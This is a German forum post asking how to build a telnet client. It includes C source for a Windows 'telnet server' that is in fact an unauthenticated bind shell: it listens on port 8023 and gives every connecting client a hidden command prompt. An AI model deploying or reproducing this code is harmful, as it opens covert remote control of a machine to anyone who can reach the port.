N
hallo! ich verwende folgenden telnet server:
kann ich auf ähnliche weise einen telnet-client basteln?
da müsste man irgendwie eine neue console erstellen können, und input/output an die weiterleiten, kann mir jemand dabei helfen?
#include <Winsock2.h>
int main( int argc, char ** argv )
{
WSADATA WSAData;
SOCKADDR_IN sin;
SOCKET sock;
WSAStartup( MAKEWORD( 2, 0 ), &WSAData );
sock = WSASocket( AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0 );
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = htonl( INADDR_ANY );
sin.sin_port = htons( ( u_short )8023 );
bind( sock, ( SOCKADDR * )&sin, sizeof( SOCKADDR_IN ) );
listen( sock, SOMAXCONN );
while( true )
{
SOCKET tmp = accept( sock, 0, 0 );
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
char buff[ 2010 ];
si.cb = sizeof( si );
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdOutput = ( HANDLE )tmp;
si.hStdError = ( HANDLE )tmp;
si.hStdInput = ( HANDLE )tmp;
GetEnvironmentVariable( "COMSPEC", buff, 2000 );
CreateProcess( buff, 0, 0, 0, true, CREATE_NEW_CONSOLE, 0, 0, &si, &pi );
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
closesocket( tmp );
}
return( 0 );
}